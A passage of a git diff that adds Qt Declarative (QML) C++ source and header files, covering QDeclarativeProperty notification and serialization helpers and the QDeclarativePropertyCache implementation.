+ Returns true if the property needs a change notifier signal for bindings
+ to remain upto date, false otherwise.
+
+ Some properties, such as attached properties or those whose value never
+ changes, do not require a change notifier.
+*/
+bool QDeclarativeProperty::needsNotifySignal() const
+{
+ return type() & Property && !property().isConstant();
+}
+
+/*!
+ Connects the property's change notifier signal to the
+ specified \a method of the \a dest object and returns
+ true. Returns false if this metaproperty does not
+ represent a regular Qt property or if it has no
+ change notifier signal, or if the \a dest object does
+ not have the specified \a method.
+*/
+bool QDeclarativeProperty::connectNotifySignal(QObject *dest, int method) const
+{
+ if (!(type() & Property) || !d->object)
+ return false;
+
+ QMetaProperty prop = d->object->metaObject()->property(d->core.coreIndex);
+ if (prop.hasNotifySignal()) {
+ return QDeclarativePropertyPrivate::connect(d->object, prop.notifySignalIndex(), dest, method, Qt::DirectConnection);
+ } else {
+ return false;
+ }
+}
+
+/*!
+ Connects the property's change notifier signal to the
+ specified \a slot of the \a dest object and returns
+ true. Returns false if this metaproperty does not
+ represent a regular Qt property or if it has no
+ change notifier signal, or if the \a dest object does
+ not have the specified \a slot.
+*/
+bool QDeclarativeProperty::connectNotifySignal(QObject *dest, const char *slot) const
+{
+ if (!(type() & Property) || !d->object)
+ return false;
+
+ QMetaProperty prop = d->object->metaObject()->property(d->core.coreIndex);
+ if (prop.hasNotifySignal()) {
+ QByteArray signal(QByteArray("2") + prop.notifySignal().signature());
+ return QObject::connect(d->object, signal.constData(), dest, slot);
+ } else {
+ return false;
+ }
+}
+
+/*!
+ Return the Qt metaobject index of the property.
+*/
+int QDeclarativeProperty::index() const
+{
+ return d ? d->core.coreIndex : -1;
+}
+
+int QDeclarativePropertyPrivate::valueTypeCoreIndex(const QDeclarativeProperty &that)
+{
+ return that.d ? that.d->valueType.valueTypeCoreIdx : -1;
+}
+
+/*!
+ Returns the "property index" for use in bindings. The top 8 bits are the value type
+ offset, and 0 otherwise. The bottom 24-bits are the regular property index.
+*/
+int QDeclarativePropertyPrivate::bindingIndex(const QDeclarativeProperty &that)
+{
+ if (!that.d)
+ return -1;
+ int rv = that.d->core.coreIndex;
+ if (rv != -1 && that.d->valueType.valueTypeCoreIdx != -1)
+ rv = rv | (that.d->valueType.valueTypeCoreIdx << 24);
+ return rv;
+}
+
+struct SerializedData {
+ bool isValueType;
+ QDeclarativePropertyCache::Data core;
+};
+
+struct ValueTypeSerializedData : public SerializedData {
+ QDeclarativePropertyCache::ValueTypeData valueType;
+};
+
+QByteArray QDeclarativePropertyPrivate::saveValueType(const QMetaObject *metaObject, int index,
+ const QMetaObject *subObject, int subIndex)
+{
+ QMetaProperty prop = metaObject->property(index);
+ QMetaProperty subProp = subObject->property(subIndex);
+
+ ValueTypeSerializedData sd;
+ memset(&sd, 0, sizeof(sd));
+ sd.isValueType = true;
+ sd.core.load(metaObject->property(index));
+ sd.valueType.flags = QDeclarativePropertyCache::Data::flagsForProperty(subProp);
+ sd.valueType.valueTypeCoreIdx = subIndex;
+ sd.valueType.valueTypePropType = subProp.userType();
+
+ QByteArray rv((const char *)&sd, sizeof(sd));
+
+ return rv;
+}
+
+QByteArray QDeclarativePropertyPrivate::saveProperty(const QMetaObject *metaObject, int index)
+{
+ SerializedData sd;
+ memset(&sd, 0, sizeof(sd));
+ sd.isValueType = false;
+ sd.core.load(metaObject->property(index));
+
+ QByteArray rv((const char *)&sd, sizeof(sd));
+ return rv;
+}
+
+QDeclarativeProperty
+QDeclarativePropertyPrivate::restore(const QByteArray &data, QObject *object, QDeclarativeContextData *ctxt)
+{
+ QDeclarativeProperty prop;
+
+ if (data.isEmpty())
+ return prop;
+
+ const SerializedData *sd = (const SerializedData *)data.constData();
+ if (sd->isValueType) {
+ const ValueTypeSerializedData *vt = (const ValueTypeSerializedData *)sd;
+ return restore(vt->core, vt->valueType, object, ctxt);
+ } else {
+ QDeclarativePropertyCache::ValueTypeData data;
+ return restore(sd->core, data, object, ctxt);
+ }
+}
+
+QDeclarativeProperty
+QDeclarativePropertyPrivate::restore(const QDeclarativePropertyCache::Data &data, const QDeclarativePropertyCache::ValueTypeData &valueType, QObject *object, QDeclarativeContextData *ctxt)
+{
+ QDeclarativeProperty prop;
+
+ prop.d = new QDeclarativePropertyPrivate;
+ prop.d->object = object;
+ prop.d->context = ctxt;
+ prop.d->engine = ctxt->engine;
+
+ prop.d->core = data;
+ prop.d->valueType = valueType;
+
+ return prop;
+}
+
+/*!
+ Returns true if lhs and rhs refer to the same metaobject data
+*/
+bool QDeclarativePropertyPrivate::equal(const QMetaObject *lhs, const QMetaObject *rhs)
+{
+ return lhs == rhs || (1 && lhs && rhs && lhs->d.stringdata == rhs->d.stringdata);
+}
+
+/*!
+ Returns true if from inherits to.
+*/
+bool QDeclarativePropertyPrivate::canConvert(const QMetaObject *from, const QMetaObject *to)
+{
+ if (from && to == &QObject::staticMetaObject)
+ return true;
+
+ while (from) {
+ if (equal(from, to))
+ return true;
+ from = from->superClass();
+ }
+
+ return false;
+}
+
+/*!
+ Return the signal corresponding to \a name
+*/
+QMetaMethod QDeclarativePropertyPrivate::findSignalByName(const QMetaObject *mo, const QByteArray &name)
+{
+ Q_ASSERT(mo);
+ int methods = mo->methodCount();
+ for (int ii = methods - 1; ii >= 2; --ii) { // >= 2 to block the destroyed signal
+ QMetaMethod method = mo->method(ii);
+ QByteArray methodName = method.signature();
+ int idx = methodName.indexOf('(');
+ methodName = methodName.left(idx);
+
+ if (methodName == name)
+ return method;
+ }
+
+ // If no signal is found, but the signal is of the form "onBlahChanged",
+ // return the notify signal for the property "Blah"
+ if (name.endsWith("Changed")) {
+ QByteArray propName = name.mid(0, name.length() - 7);
+ int propIdx = mo->indexOfProperty(propName.constData());
+ if (propIdx >= 0) {
+ QMetaProperty prop = mo->property(propIdx);
+ if (prop.hasNotifySignal())
+ return prop.notifySignal();
+ }
+ }
+
+ return QMetaMethod();
+}
+
+static inline int QMetaObject_methods(const QMetaObject *metaObject)
+{
+ struct Private
+ {
+ int revision;
+ int className;
+ int classInfoCount, classInfoData;
+ int methodCount, methodData;
+ int propertyCount, propertyData;
+ };
+
+ return reinterpret_cast<const Private *>(metaObject->d.data)->methodCount;
+}
+
+static inline int QMetaObject_properties(const QMetaObject *metaObject)
+{
+ struct Private
+ {
+ int revision;
+ int className;
+ int classInfoCount, classInfoData;
+ int methodCount, methodData;
+ int propertyCount, propertyData;
+ };
+
+ return reinterpret_cast<const Private *>(metaObject->d.data)->propertyCount;
+}
+
+static inline void flush_vme_signal(const QObject *object, int index)
+{
+ QDeclarativeData *data = static_cast<QDeclarativeData *>(QObjectPrivate::get(const_cast<QObject *>(object))->declarativeData);
+ if (data && data->propertyCache) {
+ QDeclarativePropertyCache::Data *property = data->propertyCache->method(index);
+
+ if (property && property->flags & QDeclarativePropertyCache::Data::IsVMESignal) {
+ const QMetaObject *metaObject = object->metaObject();
+ int methodOffset = metaObject->methodOffset();
+
+ while (methodOffset > index) {
+ metaObject = metaObject->d.superdata;
+ methodOffset -= QMetaObject_methods(metaObject);
+ }
+
+ QDeclarativeVMEMetaObject *vme =
+ static_cast<QDeclarativeVMEMetaObject *>(const_cast<QMetaObject *>(metaObject));
+
+ vme->connectAliasSignal(index);
+ }
+ }
+}
+
+/*!
+Connect \a sender \a signal_index to \a receiver \a method_index with the specified
+\a type and \a types. This behaves identically to QMetaObject::connect() except that
+it connects any lazy "proxy" signal connections set up by QML.
+
+It is possible that this logic should be moved to QMetaObject::connect().
+*/
+bool QDeclarativePropertyPrivate::connect(const QObject *sender, int signal_index,
+ const QObject *receiver, int method_index,
+ int type, int *types)
+{
+ flush_vme_signal(sender, signal_index);
+ flush_vme_signal(receiver, method_index);
+
+ return QMetaObject::connect(sender, signal_index, receiver, method_index, type, types);
+}
+
+/*!
+Return \a metaObject's [super] meta object that provides data for \a property.
+*/
+const QMetaObject *QDeclarativePropertyPrivate::metaObjectForProperty(const QMetaObject *metaObject, int property)
+{
+ int propertyOffset = metaObject->propertyOffset();
+
+ while (propertyOffset > property) {
+ metaObject = metaObject->d.superdata;
+ propertyOffset -= QMetaObject_properties(metaObject);
+ }
+
+ return metaObject;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativeproperty.h b/src/declarative/qml/qdeclarativeproperty.h
new file mode 100644
index 00000000..b58d7800
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeproperty.h
@@ -0,0 +1,143 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPROPERTY_H
+#define QDECLARATIVEPROPERTY_H
+
+#include <QtCore/qmetaobject.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QObject;
+class QVariant;
+class QDeclarativeContext;
+class QDeclarativeEngine;
+
+class QDeclarativePropertyPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeProperty
+{
+public:
+ enum PropertyTypeCategory {
+ InvalidCategory,
+ List,
+ Object,
+ Normal
+ };
+
+ enum Type {
+ Invalid,
+ Property,
+ SignalProperty
+ };
+
+ QDeclarativeProperty();
+ ~QDeclarativeProperty();
+
+ QDeclarativeProperty(QObject *);
+ QDeclarativeProperty(QObject *, QDeclarativeContext *);
+ QDeclarativeProperty(QObject *, QDeclarativeEngine *);
+
+ QDeclarativeProperty(QObject *, const QString &);
+ QDeclarativeProperty(QObject *, const QString &, QDeclarativeContext *);
+ QDeclarativeProperty(QObject *, const QString &, QDeclarativeEngine *);
+
+ QDeclarativeProperty(const QDeclarativeProperty &);
+ QDeclarativeProperty &operator=(const QDeclarativeProperty &);
+
+ bool operator==(const QDeclarativeProperty &) const;
+
+ Type type() const;
+ bool isValid() const;
+ bool isProperty() const;
+ bool isSignalProperty() const;
+
+ int propertyType() const;
+ PropertyTypeCategory propertyTypeCategory() const;
+ const char *propertyTypeName() const;
+
+ QString name() const;
+
+ QVariant read() const;
+ static QVariant read(QObject *, const QString &);
+ static QVariant read(QObject *, const QString &, QDeclarativeContext *);
+ static QVariant read(QObject *, const QString &, QDeclarativeEngine *);
+
+ bool write(const QVariant &) const;
+ static bool write(QObject *, const QString &, const QVariant &);
+ static bool write(QObject *, const QString &, const QVariant &, QDeclarativeContext *);
+ static bool write(QObject *, const QString &, const QVariant &, QDeclarativeEngine *);
+
+ bool reset() const;
+
+ bool hasNotifySignal() const;
+ bool needsNotifySignal() const;
+ bool connectNotifySignal(QObject *dest, const char *slot) const;
+ bool connectNotifySignal(QObject *dest, int method) const;
+
+ bool isWritable() const;
+ bool isDesignable() const;
+ bool isResettable() const;
+ QObject *object() const;
+
+ int index() const;
+ QMetaProperty property() const;
+ QMetaMethod method() const;
+
+private:
+ friend class QDeclarativePropertyPrivate;
+ QDeclarativePropertyPrivate *d;
+};
+typedef QList<QDeclarativeProperty> QDeclarativeProperties;
+
+inline uint qHash (const QDeclarativeProperty &key)
+{
+ return qHash(key.object()) + qHash(key.name());
+}
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPROPERTY_H
diff --git a/src/declarative/qml/qdeclarativeproperty_p.h b/src/declarative/qml/qdeclarativeproperty_p.h
new file mode 100644
index 00000000..40b25ca2
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeproperty_p.h
@@ -0,0 +1,147 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPROPERTY_P_H
+#define QDECLARATIVEPROPERTY_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativeproperty.h"
+
+#include <private/qobject_p.h>
+#include <private/qdeclarativeglobal_p.h>
+#include <private/qdeclarativepropertycache_p.h>
+#include <private/qdeclarativeguard_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeContext;
+class QDeclarativeEnginePrivate;
+class QDeclarativeExpression;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativePropertyPrivate : public QDeclarativeRefCount
+{
+public:
+ enum WriteFlag { BypassInterceptor = 0x01, DontRemoveBinding = 0x02, RemoveBindingOnAliasWrite = 0x04 };
+ Q_DECLARE_FLAGS(WriteFlags, WriteFlag)
+
+ QDeclarativePropertyPrivate()
+ : context(0), engine(0), object(0), isNameCached(false) {}
+
+ QDeclarativeContextData *context;
+ QDeclarativeEngine *engine;
+ QDeclarativeGuard<QObject> object;
+
+ bool isNameCached:1;
+ QDeclarativePropertyCache::Data core;
+ QString nameCache;
+
+ // Describes the "virtual" value-type sub-property.
+ QDeclarativePropertyCache::ValueTypeData valueType;
+
+ void initProperty(QObject *obj, const QString &name);
+ void initDefault(QObject *obj);
+
+ bool isValueType() const;
+ int propertyType() const;
+ QDeclarativeProperty::Type type() const;
+ QDeclarativeProperty::PropertyTypeCategory propertyTypeCategory() const;
+
+ QVariant readValueProperty();
+ bool writeValueProperty(const QVariant &, WriteFlags);
+
+ static const QMetaObject *rawMetaObjectForType(QDeclarativeEnginePrivate *, int);
+ static bool writeEnumProperty(const QMetaProperty &prop, int idx, QObject *object,
+ const QVariant &value, int flags);
+ static bool write(QObject *, const QDeclarativePropertyCache::Data &, const QVariant &,
+ QDeclarativeContextData *, WriteFlags flags = 0);
+ static void findAliasTarget(QObject *, int, QObject **, int *);
+ static QDeclarativeAbstractBinding *setBinding(QObject *, int coreIndex, int valueTypeIndex /* -1 */,
+ QDeclarativeAbstractBinding *,
+ WriteFlags flags = DontRemoveBinding);
+ static QDeclarativeAbstractBinding *setBindingNoEnable(QObject *, int coreIndex, int valueTypeIndex /* -1 */,
+ QDeclarativeAbstractBinding *);
+ static QDeclarativeAbstractBinding *binding(QObject *, int coreIndex, int valueTypeIndex /* -1 */);
+
+ static QByteArray saveValueType(const QMetaObject *, int,
+ const QMetaObject *, int);
+ static QByteArray saveProperty(const QMetaObject *, int);
+
+ static QDeclarativeProperty restore(const QByteArray &, QObject *, QDeclarativeContextData *);
+ static QDeclarativeProperty restore(const QDeclarativePropertyCache::Data &,
+ const QDeclarativePropertyCache::ValueTypeData &,
+ QObject *,
+ QDeclarativeContextData *);
+
+ static bool equal(const QMetaObject *, const QMetaObject *);
+ static bool canConvert(const QMetaObject *from, const QMetaObject *to);
+
+ // "Public" (to QML) methods
+ static QDeclarativeAbstractBinding *binding(const QDeclarativeProperty &that);
+ static QDeclarativeAbstractBinding *setBinding(const QDeclarativeProperty &that,
+ QDeclarativeAbstractBinding *,
+ WriteFlags flags = DontRemoveBinding);
+ static QDeclarativeExpression *signalExpression(const QDeclarativeProperty &that);
+ static QDeclarativeExpression *setSignalExpression(const QDeclarativeProperty &that,
+ QDeclarativeExpression *) ;
+ static bool write(const QDeclarativeProperty &that, const QVariant &, WriteFlags);
+ static int valueTypeCoreIndex(const QDeclarativeProperty &that);
+ static int bindingIndex(const QDeclarativeProperty &that);
+ static QMetaMethod findSignalByName(const QMetaObject *mo, const QByteArray &);
+ static bool connect(const QObject *sender, int signal_index,
+ const QObject *receiver, int method_index,
+ int type = 0, int *types = 0);
+ static const QMetaObject *metaObjectForProperty(const QMetaObject *, int);
+};
+
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativePropertyPrivate::WriteFlags)
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEPROPERTY_P_H
diff --git a/src/declarative/qml/qdeclarativepropertycache.cpp b/src/declarative/qml/qdeclarativepropertycache.cpp
new file mode 100644
index 00000000..7ce5ab9e
--- /dev/null
+++ b/src/declarative/qml/qdeclarativepropertycache.cpp
@@ -0,0 +1,471 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativepropertycache_p.h"
+
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativebinding_p.h"
+#include <QtCore/qdebug.h>
+
+Q_DECLARE_METATYPE(QScriptValue)
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativePropertyCache::Data::Flags QDeclarativePropertyCache::Data::flagsForProperty(const QMetaProperty &p, QDeclarativeEngine *engine)
+{
+ int propType = p.userType();
+
+ Flags flags;
+
+ if (p.isConstant())
+ flags |= Data::IsConstant;
+ if (p.isWritable())
+ flags |= Data::IsWritable;
+ if (p.isResettable())
+ flags |= Data::IsResettable;
+
+ if (propType == qMetaTypeId<QDeclarativeBinding *>()) {
+ flags |= Data::IsQmlBinding;
+ } else if (propType == qMetaTypeId<QScriptValue>()) {
+ flags |= Data::IsQScriptValue;
+ } else if (p.isEnumType()) {
+ flags |= Data::IsEnumType;
+ } else {
+ QDeclarativeMetaType::TypeCategory cat = engine ? QDeclarativeEnginePrivate::get(engine)->typeCategory(propType)
+ : QDeclarativeMetaType::typeCategory(propType);
+ if (cat == QDeclarativeMetaType::Object)
+ flags |= Data::IsQObjectDerived;
+ else if (cat == QDeclarativeMetaType::List)
+ flags |= Data::IsQList;
+ }
+
+ return flags;
+}
+
+void QDeclarativePropertyCache::Data::load(const QMetaProperty &p, QDeclarativeEngine *engine)
+{
+ propType = p.userType();
+ if (QVariant::Type(propType) == QVariant::LastType)
+ propType = qMetaTypeId<QVariant>();
+ coreIndex = p.propertyIndex();
+ notifyIndex = p.notifySignalIndex();
+ flags = flagsForProperty(p, engine);
+ revision = p.revision();
+}
+
+void QDeclarativePropertyCache::Data::load(const QMetaMethod &m)
+{
+ coreIndex = m.methodIndex();
+ relatedIndex = -1;
+ flags |= Data::IsFunction;
+ if (m.methodType() == QMetaMethod::Signal)
+ flags |= Data::IsSignal;
+ propType = QVariant::Invalid;
+
+ const char *returnType = m.typeName();
+ if (returnType)
+ propType = QMetaType::type(returnType);
+
+ QList<QByteArray> params = m.parameterTypes();
+ if (!params.isEmpty())
+ flags |= Data::HasArguments;
+ revision = m.revision();
+}
+
+
+/*!
+Creates a new empty QDeclarativePropertyCache.
+*/
+QDeclarativePropertyCache::QDeclarativePropertyCache(QDeclarativeEngine *e)
+: QDeclarativeCleanup(e), engine(e)
+{
+ Q_ASSERT(engine);
+}
+
+/*!
+Creates a new QDeclarativePropertyCache of \a metaObject.
+*/
+QDeclarativePropertyCache::QDeclarativePropertyCache(QDeclarativeEngine *e, const QMetaObject *metaObject)
+: QDeclarativeCleanup(e), engine(e)
+{
+ Q_ASSERT(engine);
+ Q_ASSERT(metaObject);
+
+ update(engine, metaObject);
+}
+
+QDeclarativePropertyCache::~QDeclarativePropertyCache()
+{
+ clear();
+}
+
+void QDeclarativePropertyCache::clear()
+{
+ for (int ii = 0; ii < indexCache.count(); ++ii) {
+ if (indexCache.at(ii)) indexCache.at(ii)->release();
+ }
+
+ for (int ii = 0; ii < methodIndexCache.count(); ++ii) {
+ RData *data = methodIndexCache.at(ii);
+ if (data) data->release();
+ }
+
+ for (StringCache::ConstIterator iter = stringCache.begin();
+ iter != stringCache.end(); ++iter) {
+ RData *data = (*iter);
+ data->release();
+ }
+
+ for (IdentifierCache::ConstIterator iter = identifierCache.begin();
+ iter != identifierCache.end(); ++iter) {
+ RData *data = (*iter);
+ data->release();
+ }
+
+ indexCache.clear();
+ methodIndexCache.clear();
+ stringCache.clear();
+ identifierCache.clear();
+}
+
+QDeclarativePropertyCache::Data QDeclarativePropertyCache::create(const QMetaObject *metaObject,
+ const QString &property)
+{
+ Q_ASSERT(metaObject);
+
+ QDeclarativePropertyCache::Data rv;
+ {
+ const QMetaObject *cmo = metaObject;
+ while (cmo) {
+ int idx = metaObject->indexOfProperty(property.toUtf8());
+ if (idx != -1) {
+ QMetaProperty p = metaObject->property(idx);
+ if (p.isScriptable()) {
+ rv.load(metaObject->property(idx));
+ return rv;
+ } else {
+ while (cmo && cmo->propertyOffset() >= idx)
+ cmo = cmo->superClass();
+ }
+ } else {
+ cmo = 0;
+ }
+ }
+ }
+
+ int methodCount = metaObject->methodCount();
+ for (int ii = methodCount - 1; ii >= 3; --ii) { // >=3 to block the destroyed signal and deleteLater() slot
+ QMetaMethod m = metaObject->method(ii);
+ if (m.access() == QMetaMethod::Private)
+ continue;
+ QString methodName = QString::fromUtf8(m.signature());
+
+ int parenIdx = methodName.indexOf(QLatin1Char('('));
+ Q_ASSERT(parenIdx != -1);
+ QStringRef methodNameRef = methodName.leftRef(parenIdx);
+
+ if (methodNameRef == property) {
+ rv.load(m);
+ return rv;
+ }
+ }
+
+ return rv;
+}
+
+QDeclarativePropertyCache *QDeclarativePropertyCache::copy() const
+{
+ QDeclarativePropertyCache *cache = new QDeclarativePropertyCache(engine);
+ cache->indexCache = indexCache;
+ cache->methodIndexCache = methodIndexCache;
+ cache->stringCache = stringCache;
+ cache->identifierCache = identifierCache;
+ cache->allowedRevisionCache = allowedRevisionCache;
+
+ for (int ii = 0; ii < indexCache.count(); ++ii) {
+ if (indexCache.at(ii)) indexCache.at(ii)->addref();
+ }
+ for (int ii = 0; ii < methodIndexCache.count(); ++ii) {
+ if (methodIndexCache.at(ii)) methodIndexCache.at(ii)->addref();
+ }
+ for (StringCache::ConstIterator iter = stringCache.begin(); iter != stringCache.end(); ++iter)
+ (*iter)->addref();
+ for (IdentifierCache::ConstIterator iter = identifierCache.begin(); iter != identifierCache.end(); ++iter)
+ (*iter)->addref();
+
+ return cache;
+}
+
+void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaObject *metaObject,
+ Data::Flag propertyFlags, Data::Flag methodFlags, Data::Flag signalFlags)
+{
+ append(engine, metaObject, -1, propertyFlags, methodFlags, signalFlags);
+}
+
+void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaObject *metaObject,
+ int revision,
+ Data::Flag propertyFlags, Data::Flag methodFlags, Data::Flag signalFlags)
+{
+ Q_UNUSED(revision);
+
+ allowedRevisionCache.append(0);
+
+ QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
+ int methodCount = metaObject->methodCount();
+ // 3 to block the destroyed signal and the deleteLater() slot
+ int methodOffset = qMax(3, metaObject->methodOffset());
+
+ methodIndexCache.resize(methodCount);
+ for (int ii = methodOffset; ii < methodCount; ++ii) {
+ QMetaMethod m = metaObject->method(ii);
+ if (m.access() == QMetaMethod::Private)
+ continue;
+ QString methodName = QString::fromUtf8(m.signature());
+
+ int parenIdx = methodName.indexOf(QLatin1Char('('));
+ Q_ASSERT(parenIdx != -1);
+ methodName = methodName.left(parenIdx);
+
+ RData *data = new RData;
+ data->identifier = enginePriv->objectClass->createPersistentIdentifier(methodName);
+ methodIndexCache[ii] = data;
+
+ data->load(m);
+ if (m.methodType() == QMetaMethod::Slot || m.methodType() == QMetaMethod::Method)
+ data->flags |= methodFlags;
+ else if (m.methodType() == QMetaMethod::Signal)
+ data->flags |= signalFlags;
+
+ data->metaObjectOffset = allowedRevisionCache.count() - 1;
+
+ if (stringCache.contains(methodName)) {
+ RData *old = stringCache[methodName];
+ // We only overload methods in the same class, exactly like C++
+ if (old->flags & Data::IsFunction && old->coreIndex >= methodOffset)
+ data->relatedIndex = old->coreIndex;
+ data->overrideIndexIsProperty = !bool(old->flags & Data::IsFunction);
+ data->overrideIndex = old->coreIndex;
+ stringCache[methodName]->release();
+ identifierCache[data->identifier.identifier]->release();
+ }
+
+ stringCache.insert(methodName, data);
+ identifierCache.insert(data->identifier.identifier, data);
+ data->addref();
+ data->addref();
+ }
+
+ int propCount = metaObject->propertyCount();
+ int propOffset = metaObject->propertyOffset();
+
+ indexCache.resize(propCount);
+ for (int ii = propOffset; ii < propCount; ++ii) {
+ QMetaProperty p = metaObject->property(ii);
+ if (!p.isScriptable())
+ continue;
+
+ QString propName = QString::fromUtf8(p.name());
+
+ RData *data = new RData;
+ data->identifier = enginePriv->objectClass->createPersistentIdentifier(propName);
+ indexCache[ii] = data;
+
+ data->load(p, engine);
+ data->flags |= propertyFlags;
+
+ data->metaObjectOffset = allowedRevisionCache.count() - 1;
+
+ if (stringCache.contains(propName)) {
+ RData *old = stringCache[propName];
+ data->overrideIndexIsProperty = !bool(old->flags & Data::IsFunction);
+ data->overrideIndex = old->coreIndex;
+ stringCache[propName]->release();
+ identifierCache[data->identifier.identifier]->release();
+ }
+
+ stringCache.insert(propName, data);
+ identifierCache.insert(data->identifier.identifier, data);
+ data->addref();
+ data->addref();
+ }
+}
+
+void QDeclarativePropertyCache::updateRecur(QDeclarativeEngine *engine, const QMetaObject *metaObject)
+{
+ if (!metaObject)
+ return;
+
+ updateRecur(engine, metaObject->superClass());
+
+ append(engine, metaObject);
+}
+
+void QDeclarativePropertyCache::update(QDeclarativeEngine *engine, const QMetaObject *metaObject)
+{
+ Q_ASSERT(engine);
+ Q_ASSERT(metaObject);
+
+ clear();
+
+ // Optimization to prevent unnecessary reallocation of lists
+ indexCache.reserve(metaObject->propertyCount());
+ methodIndexCache.reserve(metaObject->methodCount());
+
+ updateRecur(engine,metaObject);
+}
+
+QDeclarativePropertyCache::Data *
+QDeclarativePropertyCache::property(int index) const
+{
+ if (index < 0 || index >= indexCache.count())
+ return 0;
+
+ return indexCache.at(index);
+}
+
+QDeclarativePropertyCache::Data *
+QDeclarativePropertyCache::method(int index) const
+{
+ if (index < 0 || index >= methodIndexCache.count())
+ return 0;
+
+ return methodIndexCache.at(index);
+}
+
+QDeclarativePropertyCache::Data *
+QDeclarativePropertyCache::property(const QString &str) const
+{
+ return stringCache.value(str);
+}
+
+QString QDeclarativePropertyCache::Data::name(QObject *object)
+{
+ if (!object)
+ return QString();
+
+ return name(object->metaObject());
+}
+
+QString QDeclarativePropertyCache::Data::name(const QMetaObject *metaObject)
+{
+ if (!metaObject || coreIndex == -1)
+ return QString();
+
+ if (flags & IsFunction) {
+ QMetaMethod m = metaObject->method(coreIndex);
+
+ QString name = QString::fromUtf8(m.signature());
+ int parenIdx = name.indexOf(QLatin1Char('('));
+ if (parenIdx != -1)
+ name = name.left(parenIdx);
+ return name;
+ } else {
+ QMetaProperty p = metaObject->property(coreIndex);
+ return QString::fromUtf8(p.name());
+ }
+}
+
+QStringList QDeclarativePropertyCache::propertyNames() const
